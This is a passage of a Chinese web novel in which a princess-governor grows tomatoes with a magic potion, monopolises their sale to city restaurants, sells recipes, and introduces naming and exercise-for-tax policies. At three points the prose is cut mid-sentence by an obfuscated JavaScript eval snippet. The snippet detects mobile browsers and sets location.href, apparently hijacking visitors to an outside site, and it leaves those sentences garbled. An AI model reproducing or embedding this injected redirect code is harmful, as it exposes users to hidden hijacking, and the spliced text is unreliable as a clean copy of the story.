然而,众老板纷纷说自己有难处,并未答应购买番茄。 有几个老板道:“如果价格能降一些的话,倒是可以考虑。” 萧柠却道:“番茄来之不易,不能降价,请诸位老板见谅。” 见谈不拢,老板们纷纷告辞。 冬香站在一边,问道:“公主,您为何不降价呢?” 萧柠道:“我必须守住二十文一个的价格,那些老板才会明白番茄的珍贵。如果随便降价,他们可能还有别的手段逼我让利。” “可是,现在番茄卖不出去,该怎么办呢?” “冬香,刚才你一直看着,哪个老板吃得最多?” “好像是齐玉,他是赏味楼的老板。” “后厨还剩下二十多个番茄,你偷偷去一趟赏味楼,把这些番茄带给齐玉老板。就说是我见他爱吃番茄,所以把剩下的番茄全部相赠。” “公主,这样可以吗?” “他可能可以成为一个突破口。吃人嘴软,现在先不要提要求,等他吃的次数多了,要跟他谈条件就容易了。对了,你只把番茄给他,别把菜谱告诉他。” “是。” 这时,小雪说道:“公主,您把番茄送给别人,万一他自己种出番茄怎么办?” “不用担心这个,我打算增加一条法律:容城境内,只有官府能种番茄,民间敢有种植者,一律没收、罚款。” “公主,您太聪明了。” 冬香带着剩下的番茄去了赏味楼。 而萧柠则召集下属们开会,说自己要增加一条律法,不许民间私种番茄。 凌长空问道:“公主,番茄是什么?” “是我最近发现的一种食物,很多人没吃过。如果我们能跟酒楼达成合作,长期供应番茄,就可以为官府创收。只是,番茄容易种植,所以必须保证只有我们手里能种番茄。” 见萧柠这样做是为了给官府增加财政收入,其他官吏们纷纷赞同。 每个地区都有一定范围内的立法权,只要不跟最高律法冲突就可以了。 这条律令全员通过后,正式写进了容城的律法中,并张贴在大街小巷。 百姓们都不知道番茄是什么,官府出台了不许私种番茄的法令,反而让他们产生好奇。 这段日子,许多百姓都在议论这个。 “你知不知道番茄是什么?也是有毒的植物吗?” “我也不知道,番茄就是茄子吧?” “茄子就是茄子,怎么会是番茄呢?” “官府为什么要禁止这种没听说过的东西?” “不知道,官府既然这么做,总有它的道理。” “我倒是知道为什么不让种罂粟,因为罂粟制成的烟土有成瘾性,对人体有害。也许番茄也对人体有害呢。” “有道理,还是兄台有学问。” “是啊,这‘番’不就是‘番邦’的意思吗?番邦小国的东西有什么好的?给我钱我都不种。” “你不种我也不种。” “说得好像你们真的有番茄种子似的。” 112. 赠送(修) 赏味楼的齐玉老板得到了萧柠赠送的番茄,非常高兴。 因为他吃一次就喜欢这个味道了。 但是爱吃不代表他要高价买,他毕竟是个商人,不做没把握的事。 他正感慨下次不知道什么时候才能再吃到番茄,没想到萧柠就把剩下的番茄送给他了。 送番茄的婢女还说,这是公主手上仅剩的番茄了,看齐老板爱吃才送的,并没有送给其他人。 齐玉有了一种自己与众不同的感觉,也有点感激萧柠。 只是,他过了一会才发现,自己并未问清番茄的菜谱,所以不知道怎么做。 于是,他好几次去衙门,想求见萧柠,问清菜谱,但萧柠都推说忙,没有见他。 后来有一次,萧柠派了丫环出来说,番茄的菜谱很重要,不能外泄,请齐老板直接生吃吧。 齐玉自然不满足于生吃,他回忆着之前在饭桌上吃到的菜,琢磨着那些菜是怎么做的。 番茄炒蛋比较容易想到,就是番茄加鸡蛋翻炒一下,加点盐调味就好。 凉拌番茄也比较简单,就是把番茄切成片,稍微摆一下盘,然后撒点白糖上去。 至于其他菜,他一下子琢磨不出来。 于是,这些天,他都只能做凉拌番茄和番茄炒蛋。 凉拌番茄的口感倒是跟第一次吃的时候差不多,但番茄炒蛋总差点意思,也许是缺少关键步骤,没有萧柠席面上的好吃。 但是,这番茄炒蛋按照他自己的做法,已经比较美味了。 这两道菜,他的家人也爱吃。 可惜番茄太少,很快就吃没了。 他也想过用这些番茄播种,自己种着吃,但官府出台了法令,不许民间私种番茄,他只得作罢。 ———— 萧柠的番茄种子晾干了,一共有一千多粒,她全种在了官田里。 然后,她让侍卫们先离开,她偷偷向系统兑换催熟液。 系统道:“这次的种子太多了,需要40瓶催熟液。” “好的,我要兑换。” “兑换完毕,积分已扣除,剩余积分126500。” 萧柠把40瓶催熟液平均地倒在田里,然后叫侍卫们回来。 这次的种子较多,靠这30名侍卫巡逻可能不够。 因此,萧柠又调了抓交通罚款的20名士兵来帮忙,让他们一起守着官田,不要让闲杂人等靠近。 交通罚款能收上来的钱有限,没必要派太多人,还是保护番茄比较要紧。 萧柠心心念念地等着第二茬番茄成熟。 如果长势良好的话,十天后就能收获大约两万个果子。 ———— 靳海涯灰溜溜地回到了京城。 靳妃听说他辞了在虎贲军的职务,还把齐监军杀了,非常生气。 但靳海涯毕竟是她的侄子,她还是在皇帝面前为靳海涯说话,说他在边境做的一切都是被齐监军唆使。如今齐监军已经伏诛,就没必要再怪罪靳海涯了。他毕竟年轻没经验,被齐监军利用了。 皇帝听靳妃这样说,也就没有追究靳海涯及其党羽的责任,只是派了使者去容城慰问任将军,并赏赐他宝剑、兵甲、财物,说任将军之前辛苦了,一切都是一场误会,请他不要心怀芥蒂,还是以边疆事务为重才是。 任将军也说了几句场面话,无非是说自己并不敢怪罪靳海涯,自己之前被囚、亲信被杀等事,全是齐监军主导。皇上已收回齐监军的一切财物、封爵、称号,足见皇上圣明。 接着,靳妃又对皇帝说,让靳海涯到羽林军中当个副将,守卫皇城安全,皇帝同意了。 羽林军的指责是保卫皇宫,无需外出。让靳海涯到羽林军中,既安全,又增加资历,将来也好继续升迁。 这天,二公主萧梦苒来了靳妃宫里。 靳妃忍不住抱怨道:“你那个表弟靳海涯真是废物一个,我安排他去边境,想让他立功,没想到他被人给赶回来了。而且,他竟然为了脱罪,亲手杀了齐监军。齐监军是我们靳家好不容易拉拢过来的权宦,将来我还准备让他帮忙做更多事呢。” 二公主安慰道:“表弟年轻,没经过事,所以才这样做。但母妃往好处想,至少他知道弃车保帅,还算聪明。假以时日,必成大器。” “希望吧。他现在去了羽林军任职,可千万别出差错了。” “母妃放心吧,我今日进宫的路上,还看见表弟在巡逻呢。那么多侍卫,就属他最精神,不愧是咱们靳氏的后代。” “那是,论模样,咱们靳氏一门就没输过。母妃能得宠这么多年,跟样貌关系也很大。” 二公主叹息道:“可惜,我遗传了母亲的美貌,却没遗传到母亲的运气。这么多年了,裴靖对我还是淡淡的。我就不明白了,这天底下还有比我更美的女人吗?为什么裴靖就是不喜欢我?” “母妃早就跟你说了,女人不能没有美貌,但光有美貌是不够的。婚姻需要经营。” “我才懒得这么做呢。反正我有儿子,将来这裴府的爵位也肯定落在子涵头上,我没什么好谋划的了,裴靖爱怎样就怎样吧,懒得理他。” “我看你就是嘴硬。你要是真的这么不在乎,就不会一直在母妃面前提这件事了。” “不管怎么说,我总比某个嫁不出去的老女人好多了。我夫君虽然跟我感情一般,但我至少有夫有子,人生圆满。不像萧柠,这么大年纪了还没个着落,漂泊在外,真是可怜。她以为她拥有跟我相似的样貌,就能像我一样好命了吗?事实证明,那是不可能的。” “你说得对,她根本不能跟你比。” 萧梦苒又开心了起来。 ———— 第二茬番茄又熟了。 由于有催熟液的作用,这些番茄苗长势都很好,每一株都结了很多果子,粗略估算有两万个左右。 萧柠让看守番茄苗的侍卫和士兵们随便摘,吃够为止。 侍卫们早就想念番茄的味道了,每个人都吃了好几个。 萧柠获得了300积分。 接着,萧柠让侍卫们摘了五百个番茄,送到齐玉老板那里。 齐老板看见这么多番茄,既高兴,又发愁,道:“我吃不了这么多,这些番茄不经放,几天就坏了。” 侍卫道:“齐老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147055|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板可以拿到自家酒楼去,或是送人,或是拿来卖,都行。” “对哦,如果是给客人吃,很快就吃没了。” 齐玉也想试试在自家酒楼推广番茄。 现在他有不花钱的番茄,大可试试。 于是,他留了四十个番茄在家里,把剩下的番茄全都拿到了赏味楼。 每一桌客人,都可以免费得到两个番茄生果。 只需加15文钱,就可以把这两个番茄生果做成凉拌番茄。 当然,不加钱,生吃也可以。 包厢里的贵客,还能吃到一道特制的菜——番茄炒蛋。 这道菜是赠品,先到先得,而且只有贵客能吃。坐在楼下的普通食客,即便加钱也不能吃。 赏味楼本就门庭若市,这几百个番茄在一天内就消耗光了。 很多百姓本以为番茄是什么有害的东西,所以官府不许民间种植。 没想到,番茄是一种很好吃的食物,既能生吃,也能做菜。 几乎每一个得到番茄的顾客,都把番茄吃光了。 有一些普通食客想见识见识番茄炒蛋什么样,但包厢里的贵客都把这道菜藏得很好,连看都不让看,还说:“你们想吃番茄炒蛋,也进包厢多点菜啊。只要消费金额达到五两,就能进包厢了。” 这些普通食客有的望洋兴叹,有的则咬咬牙,也点了一些贵的菜,进入包厢,只为了尝一尝番茄炒蛋。 第二天,赏味楼的顾客比往常多了三成,大部分人都想吃番茄。 可是,番茄已经没了。 齐老板只好先把家里的番茄拿过来,但家里的番茄只剩下三十多个了,很快就被食客们抢光。 齐老板虽然为顾客盈门而高兴,但又拿不出番茄了,也很发愁。 无奈之下,他只好来到衙门,求见萧柠。 没想到,萧柠这次很快就接见他了。 丫环把齐老板带到一间偏僻的屋子,萧柠在这里等他。 齐老板刚想说话,萧柠就说道:“齐老板,我已经知道你的来意。我可以再给你一千个番茄,这次要收钱,不过每个只收一文钱。一千个番茄,只需要一两银子。不过,这是有条件的。” “什么条件?” “你必须跟官府签订合约,以后每个月都向官府预定一万个以上的番茄,持续时间为两年。从下一次开始,番茄的价格就是二十文一个了。” 齐老板有些犹豫,但又舍不得新增的客人。 他觉得,自己的酒楼顾客多,一万个番茄只要不是同一天进货,就可以了。那么多顾客,吃一万个番茄轻轻松松,他也不用担心压货。 而且,食客们习惯了吃番茄后,他就可以收费了。到时候,他就能连本带利赚回来。 于是,他答应签订合约。 没想到,萧柠直接拿来了合约,让齐老板签字。 看来,萧柠早有准备。 齐老板惊讶之余,也很佩服萧柠的头脑。 不过,他说道:“大人,我想先看看那一千个番茄。” “没问题,你跟我来。” 萧柠带他走进了旁边的屋子。 113. 涨价(修) 这屋子不大,里面堆满了番茄,已经没处下脚了。 粗略估计,里面的番茄有一千多个,而且每一个品相都很好。 齐老板道:“成交,我现在签字,然后把番茄运走。” “好,合作愉快。这一次,我派人帮你运。以后你自己找人来运。” “好的,多谢大人。” 齐老板留下了一两银子,然后眼看着侍卫们把一千个番茄装在袋子里,放到推车上,运到了赏味楼。 很多食客已经点了别的菜在吃,不过仍有很多此起彼伏的声音在问:“番茄真的没有了吗?” “这么大的酒楼,怎么会没有番茄呢?” “老板可别私藏啊,我们想吃!” 齐玉走了出来,站在二楼,面向食客们大喊:“诸位,稍安勿躁!刚才没有番茄了,幸好我已经买到了,在座的各位都能吃到!今天仍然是免费,但下一次就要收费了,望各位知悉。” 听见有番茄,大家都欢呼起来。 “好啊,给我来两个!” “我也来两个!” “我加15文钱,给我做凉拌番茄!” “我也加钱,吃凉拌番茄!” “我加100文钱,能不能买一份番茄炒蛋?” 齐老板道:“不行。按照规矩,只有包厢的贵客能吃番茄炒蛋,其他人可以吃番茄生果,也可以吃凉拌番茄。” 食客们不再闹腾,有一部分食客选择了进包厢。 包厢的最低消费是五两银子,齐老板笑得合不拢嘴。 这一千个番茄,竟在一天之内消耗光了。 齐老板只能再去萧柠那儿进货。 这一次,他得按照二十文一个的价格购买。 他先预定了5000个,并支付了100两银子,说道:“大人,我能不能每次只拿五百个,没有了再来拿?因为番茄要开始收费了,吃的人可能会变少。” 萧柠点头:“可以。你自己决定每次拿多少,我派人给你现摘。不过,种植番茄需要时间,未必每天都有。” “好的,多谢大人。对了大人,能不能给我一些番茄的食谱?我觉得之前的番茄烩饭不错,还有番茄菌菇汤……” “可以,一个食谱一百两银子。” 齐老板有些犹豫,但他觉得,他没法靠凉拌番茄和番茄炒蛋长期留住顾客,还是得有更多食谱才行。 因此,他咬咬牙,拿出四百两银子,买了四份食谱。 萧柠把食谱给他,并说道:“齐老板是个爽快人,作为回报,我可以告诉你怎样做番茄炒蛋更好吃,这个不收钱。” “太好了,我总觉得自己做的番茄炒蛋差点意思,不知道差在哪里。” 萧柠便把一些诀窍告诉了他,齐老板欢天喜地地离开了。 几天后,被萧柠请过的其他几个老板都发现了赏味楼在卖番茄的事。 他们聚在一起商议。 “怎么回事,当时不是我们所有人都拒绝买番茄吗?怎么齐老板的赏味楼在偷偷卖番茄?” “这还用问?一定是我们离开后,齐老板偷偷去找太守大人买番茄了,这样他的酒楼就成为容城唯一一家有番茄的酒楼,生意会越来越好。” “我说我家酒楼的生意怎么变差了,原来是齐玉这小子在搞鬼,这小子真不厚道!” “是啊,当着众人的面,他拒绝买番茄,结果却杀个回马枪,偷偷去买,心眼比莲藕还多!” “更可气的是,我的家人竟然偷偷去齐玉的百味楼吃什么番茄炒蛋,气死我了!” “事已至此,我们要不要也引进番茄?” “肯定要啊,现在番茄还是稀罕物,百姓们又是爱吃的时候。如果他们将来吃腻了,我们就算有番茄都没用了。” “可是,番茄要二十文钱一个,一两银子只能买五十个。如果做成菜,势必要卖得更贵才行。” “怕什么,总有不差钱的人愿意吃。进我们这些大酒楼的人,哪个手里没有两个子的?真正的穷人都自己在家做饭吃。” “那倒是。宜早不宜迟,我们现在就去找太守大人,说我们也要买番茄。” “走,不能让齐玉占了先机!” 当另外九个老板来找萧柠的时候,萧柠已经知道了他们的动机。 他们在萧柠面前说了一通,表达了自己的后悔,说是想从官府这里引进番茄。 萧柠笑道:“我跟齐老板签订合约的时候,他要求我必须给他最低的价格。如今我也不能违背合约。我给他是20文钱一个,给你们的价格只能是22文钱一个,这已经是最低价了。” 几个老板听了,都后悔自己没有早点签订合约。 于是,他们现在也只能同意了22文钱一个的价格。 接着,萧柠道:“我还跟齐老板约定了,他每个月必须买一万个以上的番茄。所以,我必须优先保证他的货源。现在我手头只有一万多个番茄,必须留一万个给齐老板。剩下8000个番茄,你们九家平分吧,每人888个。” 听到这个数字,几个老板傻眼了。八百多个番茄,怕是只能撑一两天。 但有总比没有好,他们都同意了。 这8000个番茄,赚了176两。 接着,几个老板还想买番茄的菜谱。 萧柠道:“菜谱一百两一份,我建议每个老板买两三个菜谱就好,这样可以减少跟其他酒楼的重复。而且,菜谱多了,也没那么多番茄去做。以后你们可以自己开发新菜谱,更有自己的特色。” 老板们纷纷点头:“大人说的不错,没必要买太多。” “大人如此为我们考虑,真是令我们铭感五内。” “我要番茄烩饭和番茄白菜菌菇汤的菜谱,你们别跟我抢啊。” “我也要番茄烩饭的菜谱,然后要一个番茄炒茄子的菜谱。只有一个重复,还好吧。” 这些老板都选了两个或三个菜谱,尽量不跟别人重复。 萧柠把他们想要的菜谱单独给他们,卖菜谱一共收入2200两。 老板们又问下次什么时候能买番茄。 萧柠道:“大概十天后,会有三四万个番茄,到时候你们每家分三四千个吧,平均一点,不许某一家买太多。” 老板们纷纷点头:“可以。”“大人处事公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147056|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 允,我们听大人的。” 有个老板道:“大人,我有个不情之请。这番茄可不可以只卖给我们几家,不卖给其他人?” 萧柠道:“可以。如果你们要买断的话,再出100两银子的买断费,我保证在容城,三个月内只有你们几家能买到番茄。” “大人,只保证三个月啊?” “因为我只能管容城的事。如果有其他地方的人吃到了番茄,偷偷保存种子,去自己的家乡种植,我也管不了。估计几个月后,番茄就会在其他地方泛滥,肯定会有商人和农□□大量的番茄过来卖。 到时候,其他老板就能从商贩手里买到番茄了。而番茄的成熟期是三四个月左右。所以,我只能保证,在别的地方种出番茄前,只有你们能拥有番茄。别的地方种出番茄后,番茄数量变多,价格就便宜。就算是你们,也肯定不会来我这里买了。 所以,我只收三个月的买断费,100两银子,比较公道。这钱你们几家分着出吧。” 萧柠所说的有道理,他们确实没法禁止其他地区的人来吃番茄。而其他地区的人一旦吃到,肯定会拿种子回去种植。 所以,三个月的买断期是比较公道的。 萧柠把未来可能发生的情况明明白白地告诉他们,没有趁机敲竹杠,他们都很感激萧柠。 因此,他们很痛快地掏了钱。每人10两,一共是90两。 萧柠道:“还有赏味楼的齐老板没来,我会派人去收他的10两银子。” 这些老板纷纷感谢了萧柠一番,然后各自拿了八百多个番茄回去了。 萧柠派了个侍卫去跟齐老板说,三个月内,只给十家酒楼供应番茄,其他人得不到番茄,但每家老板需要出10两银子的买断费。 齐老板求之不得,立刻出了十两银子。 不过,他听侍卫的口风,似乎另外九家的老板也得到了番茄的货源,心里又有点忌惮。 他本来以为,容城只有他一家有番茄,那他肯定能在短期内赚得盆满钵满。 但现在,另外九个老板也获得了番茄的货源,那这个市场就不是他一人独大了。 不过,好在一共也只有十家酒楼有授权,赚还是能赚一点的。 萧柠算了一下,到目前为止,她靠着番茄和番茄菜谱,已经赚了两千多两。 她那一亩地还没种满,她打算接下来多种一些种子下去。 一亩地可以种两千多个种子,全都成熟的话能结四万个果子。 如果全部卖给这十个老板,每一茬的番茄能收入860两。 凭借着催熟液,她一个月能种3茬,那合计就是2580两。 当然,这是建立在番茄全都能卖出去的情况。 再过几个月,其他地区的番茄如果种起来,她这里的番茄可能会滞销,就没有这样的收入了。 所以,她必须趁着这几个月,大赚一笔。 她问系统:“多宝,如果我一次性种两千粒种子,需要多少催熟液?” “80瓶。” 萧柠算了一下,一次用80瓶,一个月如果催熟三次,就是240瓶,需要12万积分。 114. 运动(修) 她现在的积分,顶多只能催熟一个月。 一个月之后,就只能按照正常的方式种植,三个月收获一次。 现在,最好是努力多赚点积分。 萧柠想起自己之前给栾伊城的女人取名字,现在这个事也可以在容城推广。 她让萧玉蟾去主办这件事。 萧玉蟾没有正式官职,只是萧柠的私人幕僚,官府的一些政务萧玉蟾没法插手。 但是,她可以做萧柠私下交给她的任务。 萧柠把这件事跟萧玉蟾说了,她十分高兴:“公主请放心,我一定会认真办好的,争取让容城所有女人都有名字。” 萧柠道:“容城人多,可能会有点辛苦,如果你坚持不下去了,就告诉我。” “不会,这事对我来说挺简单的。不过,我可能需要几个助手。” “好,我给你派几名书吏打下手。” 萧柠让书吏们贴出告示,说官府可以给没有名字的女人取名,有需要的人只需来官府挑名字就可以。 一时间,大街小巷都在传这件事,很多百姓都十分激动。 他们都觉得新来的太守大人很贴心,竟然能想到这种细节。而且,为她们取名的好像是一位县主,她们都兴奋极了。 告示张贴出去没多久,就有很多女人涌入衙门,想领取一个名字。 萧玉蟾还来不及取这么多名字,只能让她们等几天再来。 可她们都不愿意等,都想马上获得一个名字。 萧玉蟾只好现场取名。 好在萧玉蟾才华横溢,便是现场作诗都不在话下,更何况是取名。 她就守在门口,来多少人就取多少名字,每个人都满意而归。 容城的百姓多,估计取名的事要持续半个月到一个月才能结束。 系统提前给萧柠结算了12万积分,现在的积分是246800。 萧柠在官田里种了两千粒番茄种子,又兑换了80瓶催熟液,浇灌上去。 现在的积分剩余206800。 只需再等十天,第三茬番茄就能收获了。 萧柠召集重要的官员,开了个小会,说明种番茄的利润,并说自己想多种几亩番茄。 凌长空道:“公主,大部分官田上都种着粮食和棉花,这两样东西事关民生,不能铲掉。番茄毕竟不是生活必需品,百姓们只吃番茄也吃不饱,我们不宜种太多。要不这样,再给您一亩地用于种番茄,不能再多了。” 萧柠表示理解:“两亩地也够我种了,过几个月,番茄就没那么紧俏了,种多了就烂在地里了。” 萧柠又询问了这段时间收税的情况。 瞿明修道:“前几日,愿意主动报税的商户已经没有了,我们就去查了一些商户。他们大部分都有偷税漏税的情况,不仅补齐了税款,还要交罚款。现在收上来的税款和罚款加起来,大概有两万四千两。 这笔钱已经用于偿还官府的一些欠款,但没有全部用掉,还剩两千两左右,用于一些紧急开销。” 萧柠点头道:“大家都辛苦了。在收税的过程中,没遇到什么事吧?” 瞿明修道:“还好,我们这次着重查了一些中小商户,他们没什么背景,对官府还是有几分惧怕的。我们查出他们偷税漏税,他们就爽快地补齐税款了。不过,一些盘根错节的大商户,我们还没有动。如果能把大商户的税款收齐,估计还能进账一大笔。” 萧柠道:“此事需要慢慢商议,最好打他们一个措手不及。我这次卖番茄所得的两千多两,就用来偿还瞿明修、萧玉蟾等人之前为官府垫付的钱。如果还有其他官吏垫付过钱,可以一起报销。最好是先报销小额的,大额的以后再说。” 瞿明修道:“大人,我和玉蟾的钱可以以后再还,先报销其他人的吧。” “没关系,你和玉蟾垫进去的钱比较多,先偿还你们的。反正等几天后第三茬番茄成熟,很快又会有一笔收入的。” 见萧柠如此说,瞿明修也就不再谦让。 有个叫王禄的小官道:“对了大人,最近抓到一些私种番茄的,要怎么处理?” “先把番茄苗拔了,然后罚款处理吧。别罚太多,我看金额就定在300文到800文之间吧。太多了会让百姓不满,他们可能会做出一些极端的事。还有,如果是被人举报的,就把罚金给举报者。” “是,偷种的番茄苗都已经拔了,属下斟酌一下罚款金额。” 开完会后,萧柠回到房间,看见有一个小丫环坐着,另一个小丫环在给她捏肩膀。 这两个小丫环是她身边的三等丫环,坐着的叫霜花,站着的叫月谢。 萧柠笑着说道:“霜花,你小小年纪,就脖子疼?” 霜花赶紧站起身来,道:“是,因为奴婢经常低头。” “你的活也不算多啊。” “活是不多,但是见到公主的时候、跟公主说话的时候,得低头。时间长了,头和脖子怪疼的。” 萧柠这才反应过来,下人在主子面前低头,是基本的礼仪。她以前没觉得有什么,但现在想想,下人们每天低头的时间很长,年深日久,脖子和肩膀肯定会不舒服。 冬香和小雪是从小跟萧柠一起长大的,她们在萧柠面前没那么多规矩,可以直视萧柠的眼睛。 但其他下人都经过严格培训,在萧柠面前很守规矩,大气也不敢喘。 霜花才十几岁,身体就开始吃不消了,那年纪更大的下人呢? 她们的生活,比萧柠想象的要辛苦多了。 萧柠道:“要不这样,你们以后在我面前就别低头了。” “这怎么行,这是对公主不敬。” “你们可以看着地上,不要直视我,这样也能表示尊敬。” 两个小丫环喜出望外,问道:“真的吗?” “真的。你们去转告我的其他下人和随从,跟他们说,以后他们也不需要在我面前低头,只要不直视我就可以了。” “可是……可是这样犯了规矩,会被管事嬷嬷打的。” “怕什么,这里是宫外,一切事情我说了算。” “谢谢大公主,大公主最好了!” 两个小丫环兴奋地跑了出去,开心地跟过年似的。 系统道:“萧柠,你获得了一万积分,现在的积分是216800。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147057|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好的。” 几天后,栾伊城的税收送了过来,一共是五百多两,萧柠存了起来。 公主家令捎信来,询问萧柠以后是否要收足税额。因为萧柠每年只收一半的税,收入比较低,远不能跟其他皇族相比,恐怕钱会不够用。 萧柠并不想收足税额,因为栾伊城的百姓比较穷,萧柠不想给他们增添负担。 不过,她想出了一个比直接减免赋税更好的主意:用运动时长减赋。 栾伊城的每户人家,只要每个月的运动总时长达到10个时辰,当月的赋税就能减半。 如果十二个月里每个月的运动时长都达到10个时辰以上,全年的赋税减半。 这十个时辰的运动时长,可以由某一个人完成,也可以由家庭成员共同完成。 如果家里人多,而且一起参与运动,就能很快累计到十个时辰。 反之,如果家里只有一个人,就只能靠自己完成。只要每天运动半个时辰,一个月就是15个时辰,也能达标。 没法运动的残障人士不在此列。残障人士本就受官府补贴,没有缴税的压力。 运动的场所应固定,这样方便统计。 当然,要在别的地方运动也可以,只是不计入时长。 如果这个政策贯彻下去,能增强栾伊城百姓的身体素质,让他们养成运动的习惯,还能顺便减免他们的赋税。 而这个条件看似简单,实际上能坚持下来的人不多。那些坚持不下来的人,就足额缴纳赋税,也能增加萧柠的收入。 萧柠把这个想法写在信中,寄给公主家令,让他想办法执行。 公主家令是掌管公主财货、仓廪、田园的官员,萧柠被封为公主后就有的。 几天后,公主家令回信说,他已经跟栾伊城的官员商讨过,制定了一些细则,可以把这个政策执行起来。 系统给萧柠结算了10万积分,现在的积分是316800。 第三茬的番茄也熟了,一共收获四万多个果实。 由于最近番茄很受欢迎,十家酒楼的番茄全部卖完了,供不应求,所以这一批番茄一种出来,就被十家酒楼全部买光,收入880两。 萧柠按照惯例,留下一些番茄收集种子。 她现在有两亩地可以种番茄,每亩地种2000粒种子的话,一共是4000粒种子。 有催熟液的加成,在一般情况下,每茬番茄可以收获8万个左右。 她要趁现在百姓们还喜欢吃番茄的时候,多种一些。 等以后百姓们对番茄的热情逐渐减退,她就可以不用催熟液了,让番茄按自然周期生长,并且卖得便宜一些。 她向系统要了160个催熟液,需要8万积分,现在的积分是236800。 她把这些催熟液都倒了下去。 ———— 萧柠想随时了解其他地方的新鲜事,作为自己执政的参考。 因此,她把自己身边的女护卫飞鹰和桑叶派出去,让她们游历四方。如果有什么值得一提的事,就写信回来。 几天后,飞鹰传信回来,说她看见其他地方已经有农民在种番茄了。 115. 殴打(修) 这个情形跟萧柠预估的一样,她倒也不慌,只是有点难过。 她好不容易找到一条生财的路径,但现在快要失去了。等其他地区的番茄多了,她手上的番茄肯定也只能降价出售。 她问系统:“多宝,以后是不是不用种太多番茄了?” “番茄属于外来物种,在南萧国总会有水土不服的阶段。其他人种出来肯定没有你种的好吃,存活率不会太高,品相也不会太好。 只有你种的番茄是满属性的,也就是各方面都是巅峰。这是因为你用了催熟液。催熟液除了能催熟,也能让农作物长成最好的样子。 你已经度过了‘人无我有’的阶段,接下来会进入‘人有我优’的阶段。百姓们如果想吃好吃的、营养价值高的番茄,还是会需要你的货源的。 普通人靠自己摸索,需要很久才能种出高品质的番茄。” “这样啊,那我就放心了。” 几天后,萧玉蟾对萧柠说道:“公主,为女人取名的事已经办得差不多了,现在来找我取名的百姓越来越少。接下来可还有什么需要我做的事吗?” 萧柠想起自己之前在栾伊城办《女儿谱》的事。她觉得容城的人更多,因种种原因想要独身的女子应该也更多,可以在容城也推广《女儿谱》。 萧柠把这件事简单地给萧玉蟾介绍了一下,萧玉蟾喜道:“还有这样的组织,这真的只有女孩能想出来。让所有想保持独身的女子加入《女儿谱》,互相抱团养老,是个不错的主意。就让我来办这件事吧。” “可是,监管是个大问题。加入《女儿谱》的人都非亲非故,互相之间未必信任。而且人多了,也总会有偷懒的、闹事的、偷钱的等等,需要有人长期监督。” “公主放心,我可以长期监督她们。我会定期查她们的账目、职业、收入,询问她们的冤情,力求让您的构想得到实现,不会有人钻空子。在找到合适的接班人之前,我不会卸任监管者的岗位。” “我未必会一直留在容城,你要长期待在这里吗?” “我觉得可以,因为我只想为百姓做点事,具体在哪里不重要。我认为《女儿谱》的创建非常有意义,可以让那些不为世俗所容的女孩有一个栖息之地。 公主,如果你以后要离开了,先想个办法把我留在容城,让我继续管理《女儿谱》的事,这样就没问题了。” 萧柠也大为感动:“谢谢……你肯这样做,真是帮了我的大忙了。” “公主无需谢我,我想做一些有意义的事,是公主成全了我。而且,我们可以对这些独身女子收更高的赋税,增加财政收入。当然,只是比普通的赋税高一点而已,不会影响她们的生活。” 萧柠和萧玉蟾又商量了一些细则,考虑到了方方面面。 接下来,就由萧玉蟾负责《女儿谱》的登记和管理。 来报名的女孩很多,短短几日就达到了数百个。 萧柠为她们划了一块场地,方便她们日常聚会、活动,增加感情。这些女孩是要互相过一辈子的,感情和信任度很重要。 系统给萧柠结算了8万积分,现在的积分是316800。 —— 之前向木材商人赊的木材运到了,这些木材省着点用,大概能盖1800多间房屋,解决几千人的住房问题。 房子的盖法也有讲究,如果是全木屋,消耗的木头就多;如果用泥土或砖块、石头等砌墙,木头只用作梁柱,消耗的木头就少。 在容城这种木头短缺的地方,大家都是用省木料的方式来盖房屋的,一间房大概只需要两三根木头。 容城内失去房子的有两万多人,这一批木材没法让所有人都有新房子住。 因此,下属们来询问究竟让哪些百姓先盖房子。 萧柠道:“当初让这些百姓租房的时候,最先响应官府号召,去租房的那一批,现在也可以先领木材盖房子。后租房的百姓就等下一批木材。” 下属们纷纷点头:“这样很合理,配合官府政策的有好处,不配合的在很多事情上只能靠后。这样谁也说不出什么来,以后官府再有什么命令,百姓们也会积极些。” “没错,还是公主的主意好。” “公主甫一执政,便屡出奇策,真是天纵奇才啊。” ———— 之前率先租房的几千个百姓,获得了优先领木头的机会。 木头按户发放,每户领8到15根木头。 官府提供了木材,建房的事得自己解决。或是自己建,或是请人建。 百姓们还是有一些怨言,但萧柠说,不愿意建房的百姓,可以把木头让给下一位。 领到木头的百姓自然不愿放弃木头,便纷纷盖起了房子。 大约一个月后,大部分百姓便盖好了房子,住了进去。 